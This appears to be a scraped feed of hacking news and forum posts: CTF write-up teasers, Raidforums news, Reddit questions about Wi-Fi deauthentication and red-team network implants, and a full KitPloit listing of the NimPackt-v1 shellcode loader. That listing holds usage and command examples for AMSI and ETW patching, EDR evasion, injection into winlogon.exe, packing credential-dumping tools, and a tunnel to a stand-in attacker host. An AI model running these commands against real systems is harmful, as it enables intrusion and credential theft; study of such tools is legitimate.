Hacking on Medium
Hack-A-Sat 3 Qualification Round​ 2022

https://cdn-images-1.medium.com/max/640/0*Tm0ssaRcte02O_c7.jpg
The United States Air Force and the United States Space Force jointly present Hack-A-Sat, which is open to all cybersecurity researchers…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
CrowSec EdTech Write-Up: Poisoning

https://cdn-images-1.medium.com/max/2600/0*Thf_r-FXZRux5dY5
In this article, I will demonstrate how to resolve this CTF (Capture the Flag), this challenge is a lab and is available in the CrowSec…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
[HTB] Nibbles靶機 Write-Up

https://cdn-images-1.medium.com/max/749/1*vdSYVeWXjEk9HChs9BAAnA.png
Hack The Box Nibbles machine Write-Up

Continue reading on 璿的筆記 »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Here’s how to become an Ethical Hacker… (4 ways)

https://cdn-images-1.medium.com/max/2600/1*PuJVDRdzwjDRJvaPj4Mvjg.jpeg
It is a well known fact Ethical hackers are well compensated for their hard work, on average Ethical Hackers earn anywhere from $100k a…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Python Security Best Practices [Slides]

https://cdn-images-1.medium.com/max/2600/1*4CL7sW9GgE8_yKYvQoasEA.jpeg
This is a short one. Just a reference in case it’s of use or interest to somebody.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
NimPackt-v1 - Nim-based Assembly Packer And Shellcode Loader For Opsec And Profit

https://blogger.googleusercontent.com/img/a/AVvXsEgA5P5sTG7z6ZTMntdRENL1SMCAjEaYk7ezNzT7KZnPqdIkhPKT1J7hpHuy2IentAQgTyP3VDAGhnWmJlieQGmcj_VItHq_Efm2AU2BNr1zE9wXXpA_703M15tiw2O7E1Pz0H77jlGm2_g1Hr11wd8wYV_tla6mLPe2origarlCWnW8o6A5O2xLR78X=w640-h191 By Cas van Cooten (@chvancooten)

With special thanks to Marcello Salvati (@byt3bl33der) and Fabian Mosch (@S3cur3Th1sSh1t) DescriptionUpdate: NimPackt-v1 is among the worst code I have ever written (I was just starting out learning Nim). Because of this, I started on a full rewrite of NimPackt, dubbed 'NimPackt-NG' (currently still private). With this re-write, I decided to open-source the old branch ("NimPackt-v1"). As such, this branch is no longer maintained and comes without any form of warranty or support. PRs are always welcome, of course :)

NimPackt is a Nim-based packer for .NET (C#) executables and shellcode targeting Windows. It automatically wraps the payload in a Nim binary that is compiled to Native C and as such harder to detect and reverse engineer. There are two main execution methods:

* Execute-Assemblyre-packs a .NET executable and runs it, optionally applying evasive measures such as API unhooking, AMSI patching, or disabling ETW.
* Shinjecttakes raw a .bin file with raw, position-independent shellcode and executes it locally or in a remote process, optionally using direct syscalls to trigger the shellcode or patching API hooks to evade EDR.

Currently, NimPackt has the following features.

* Uses static syscalls to patch execute to evade EDR
* Unhooks user-mode APIs for spawned thread by refreshing NTDLL.dllusing ShellyCoat
* Patches Event Tracing for Windows (ETW)
* Patches the Anti-Malware Scan Interface (AMSI)
* AES-encrypts payload with random key to prevent static analysis or fingerprinting
* Compiles to exeor dll* Supports cross-platform compilation (from both Linux and Windows)
* Integrates with CobaltStrike for ezpz payload generation

A great source for C#-based binaries for offensive tooling can be found here. It is highly recommended to compile the C# binaries yourself. Even though embedded binaries are encrypted, you should obfuscate sensitive binaries (such as Mimikatz) to lower the risk of detection. InstallationIf you are having issues compiling the binary with Syscalls, try downgrading your GCC to version 8.1.0 (especially on Windows). ALWAYS test generated payloads!

On Linux, simply install the required packages and use the Nimble package installer to install the required packages and Python libraries.

pycryptodome argparse nimble install winim nimcrypto">sudo apt install -y python3 mingw-w64 nim
pip3 install pycryptodome argparse
nimble install winim nimcrypto

On Windows, execute the Nim installer from here. Make sure to install mingwand set the path values correctly using the provided finish.exeutility. If you don't have Python3 install that, then install the required packages as follows. nimble install winim nimcrypto
pip3 install pycryptodome argparse DockerThe Docker image chvancooten/nimbuild can be used to compile NimPackt-v1 binaries. Using Docker is easy and avoids dependency issues, as all required dependencies are pre-installed in this container.

To use it, install Docker for your OS and ensure the input shellcode is in the current folder. Then, start the compilation in a container as follows. docker run --rm -v `pwd`:/usr/src/np -w /usr/src/np chvancooten/nimbuild python3 NimPackt.py -e shinject -i sc.binCobaltStrike PluginTo install the CobaltStrike plugin, select Cobalt Strike-> Script Managerfrom the menu bar, and select Load. Make sure to load [...]

___________________________
@hacking_Attack
@Hacking_Video

the .cnafile from it's original location, otherwise it won't be able to find the NimPackt script files! https://blogger.googleusercontent.com/img/a/AVvXsEjAzTjuOeNxqeGe7OanmqoCnfGtpQFI6jGlp67wlPzNKA_x5RPVGTAAaf4CWCsXaKhXdkO9Yee1gAe5mp5HA7XzxbDvKwIZQh8z4-LY76J-JLG_lR0ubz4L0qz_tsA6Kn8CClA2Yk65dMxDESxSTuySYJ1D8sz4my4jJf5tB6awKiGSpeRz4qQxt9Xo=s320 Usageusage: NimPackt.py [-h] -e EXECUTIONMODE -i INPUTFILE [-a ARGUMENTS] [-na] [-ne] [-r]
[-t INJECTTARGET] [-E] [-o OUTPUTFILE] [-nu] [-ns] [-f FILETYPE] [-s] [-32] [-S]
[-d] [-v] [-V]

required arguments:
-e EXECUTIONMODE, --executionmode EXECUTIONMODE
Execution mode of the packer. Supports "execute-assembly" or "shinject"
-i INPUTFILE, --inputfile INPUTFILE
C# .NET binary executable (.exe) or shellcode (.bin) to wrap

execute-assembly arguments:
-a ARGUMENTS, --arguments ARGUMENTS
Arguments to "bake into" the wrapped binary, or "PASSTHRU" to accept run-
time arguments (default)
-na, --nopatchamsi Do NOT patch (disable) the Anti-Malware Scan Interface (AMSI)
-ne, --nodisableetw Do NOT disable Event Tracing for Windows (ETW)

shinject arguments:
-r, --remote Inject shellcode into remote process (default false)
-t INJECTTARGET, --target INJECTTARGET
Remote thread targeted for remote process injection
-E, --existing Remote inject into existing process rather than a newly spawned one (default
false, implies -r) (WARNING: VOLATILE)

other arguments:
-o OUTPUTFILE, --outfile OUTPUTFILE
Filename of the output file (e.g. "LegitBinary"). Specify WITHOUT extension
or path. This property will be stored in the output binary as the original
filename
-nu, --nounhook Do NOT unhook user-mode API hooks in the target process by loading a fresh
NTDLL.dll
-ns, --nosyscalls Do NOT use direct syscalls (Windows generation 7-10) instead of high-level
APIs to evade EDR
-f FILETYPE, --filetype FILETYPE
Filetype to compile ("exe" or "dll", default: "exe")
-s, --sleep Sleep for approx. 30 seconds by calculating primes
-32, --32bit Compile in 32-bit mode (untested)
-S, --showConsole Show a console window with the app's output when running
-d, --debug Enable debug mode (retains .nim source file in output folder)
-v, --verbose Print debug messages of the wrapped binary at runtime
-V, --version show program's version number and exit Examples: # Pack SharpKatz to accept arguments at runtime, patching NTDLL hooks, AMSI, and ETW while printing verbose messages to a visible console at runtime
python3 ./NimPackt.py -e execute-assembly -i bins/SharpKatz-x64.exe -S -v

# Pack Seatbelt as a DLL file with baked-in arguments (note: write to outfile because stdout is not available for DLLs)
python3 ./NimPackt.py -f dll -e execute-assembly -i Seatbelt.exe -a "-group=all -outputfile=c:\users\public\downloads\sb.txt"

# Pack SharpChisel with a built-in ChiselChief connection string, do not unhook, patch AMSI, or disable ETW, hide the application window at runtime
python3 NimPackt.py -nu -na -ne -e execute-assembly -i bins/SharpChisel.exe -a 'client --keepalive 25s --max-retry-interval 25s https://chiselserver.evilwebsite.com R:10073:socks'

# Pack raw shellcode to DLL file that executes in the local thre ad through direct syscalls, unhooking NTDLL as well
# Shellcode generated with 'msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o /tmp/calc.bin'
python3 NimPackt.py -i calc.bin -e shinject -f dll

# Pack raw shellcode to execute in a newly spawned Calculator thread in an invisible window
python3 NimPackt.py -i calc.bin -e shinject -t "calc.exe"

# Pack raw shellcode to execute in the existing Winlogon process (first PID with name 'winlogon.exe'), do not use direct syscalls or unhook NTDLL
python3 NimPackt.py -i calc.bin -e shinject -r -E -t "winlogon.exe" -nu -nsBinaries are stored in the outputsubfolder of your installation directory. Generated dllfiles can be execu[...]

___________________________
@hacking_Attack
@Hacking_Video

ted as follows (entry point can be changed in the Nim template): rundll32 exampleShinjectNimPackt.dll,IconSrvDownload NimPackt-v1

___________________________
@hacking_Attack
@Hacking_Video

https://b.thumbs.redditmedia.com/PkntFm9EIksI61N70NH4ljy_p4XiyHVkFqMxQF2U1sQ.jpg ​

https://raidforums.com/member.php?action=register Here you can check for yourself!

submitted by /u/Ijustwannalearnlol
[link] [comments]

hacking: security in practice
Raidforums owner indicted and faces criminal charges

https://external-preview.redd.it/cr6GtLeaWqdiSwPZXkKRhGvoqC_vnrDvVHoOVB1LWoY.jpg?width=640&crop=smart&auto=webp&s=77299ea3ba13048763004cb464769cb57abbef48 submitted by /u/catgirldev
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Reverse Engineering BeReal

https://external-preview.redd.it/Zr-qc7mNIpQ0InYLVXql_tAGcXBDqnr-x648KlOua7I.jpg?width=640&crop=smart&auto=webp&s=3790ac05a9af064ccb3735942ee56494af3065e4 submitted by /u/Amazing-Bathroom3829
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Deauthentication attack on a 5G network with aireplay-ng

Hi, I'm in need of some help regarding deauthentication attacks with the tool aireplay-ng.

I'm using a wireless network adapter with the rtl8812bu chipset, which should support packet injection from what I've read online. After enabling Monitor mode (a feature that 100% works on the adapter) the command I try to run is:

sudo aireplay-ng --deauth 200 -a [router MAC address (BSSID)] -c [client MAC address (STATION)] -D wlan0

(Notes: wlan0 is my wireless interface in monitor mode. The targeted wireless network is a 5G one - luckily my adapter supports 5G. I tried running the command without the -Dflag, but then aireplay-ngreplies with: no such BSSID available)

When I check the targetted interface's status, I see that the client is still connected to the same 5G Wi-Fi network that I was attacking. Does anyone know what could be interfering with the attack?

The command output is as follows: https://imgur.com/a/qAvqa8z

What I've tried: I have tried restarting my network manager (airmon-ng) which didn't work, I also tried upgrading my kali distribution to no avail. I also tried using mdk4instead which slowed the connection very slightly - and I'm aiming to disconnect the client.

Many thanks!

submitted by /u/KfirEzer
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Affordable implant hardware to gain remote foothold in 802.1x networks?

Hello!

I'm preparing for my first Red Teaming engagement, and I have been tasked with preparing implant devices that will be planted on-site during physical security test engagements. I have the following requirements:

1. Can be plugged in fast and is easy to hide.
1. Prefferably as a MitM between a VOIP/printer and the network.

2. Works in 802.1x networks.
3. Will serve as a backdoor/VPN into the network from outside.
4. Optionally, allows us to connect to the network via 3G/4G.

The most well known solutions I've found are fromHak5 - LAN Turtle and Packet Squirrel. With LAN Turtle, I'm worried that it will not work with 802.1x network auth and that you can not connect it let's say instead of a printer or VOIP, since it only works as Ethernet -> USB.

Packet Squirrel looks a lot better suited for the task. While it lacks 3G, I think since it works as a Ethernet MitM bridge, it should work in place of a printer. I think this is the best out-of-the-box option, and will go with this one, unless I manage to find something better.

Another option I have discovered is using an OpenWRT router with SWORD, as described in this article. I will probably try that route, especially since it should also be easy to use 4G routers and get a connection from the outside, but I am worried about the 802.1x and whether it will work when we connect it as a MitM between a printer and the network. My hope is that I will manage to somehow get it working, since OpenWRT is open source, but I have no idea whether what I want is actually possible.

But that's all I have managed to find as possible implant devices. Does any of you have any experience with using Hak5 products or creating similar implants? Have any of you tried to get the OpenWRT-based backdoor working? I would be glad for any recommandation, DIY tips or ready-made products that you use during Red Teaming engagements, because I am sure that I'm not the first one who encountered this problem. Also, if said product is available in Europe, it would be even better!

Thank you!

submitted by /u/Mikina
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Idea for something cool

There is an event organised by one of my friends. He asked me for a music playlist of different genres that I have downloaded onto a USB of mine. He will insert that USB in his laptop to play the music (connected to the loudspeakers). I don't want to do any harm and therefore I don't want to write "friendly" malware. But is there anything nice or prank I can do? Can someone give an idea or a github scripts or other things that make it easier to implement in the USB.

submitted by /u/bruggekiller
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Broken session control leads to access the admin panel even after revoking the access!! — #ZOHO

Hey Guy’sContinue reading on Medium »
Read more...

Euler запускає програму ImmuneFi Bug Bounty на суму 1 мільйон доларів!

Програма ImmuneFi Bug Bounty має на меті посилити безпеку Euler, одночасно посилюючи співпрацю з більшою екосистемою DeFi в рамках нашого…Continue reading on Medium »
Read more...

Broken session control leads to access the admin panel even after revoking the access!! — #ZOHO
https://naveenroy008.medium.com/broken-session-control-leads-to-access-the-admin-panel-even-after-revoking-the-access-zoho-db219b19d2dd?source=rss------bug_bounty-5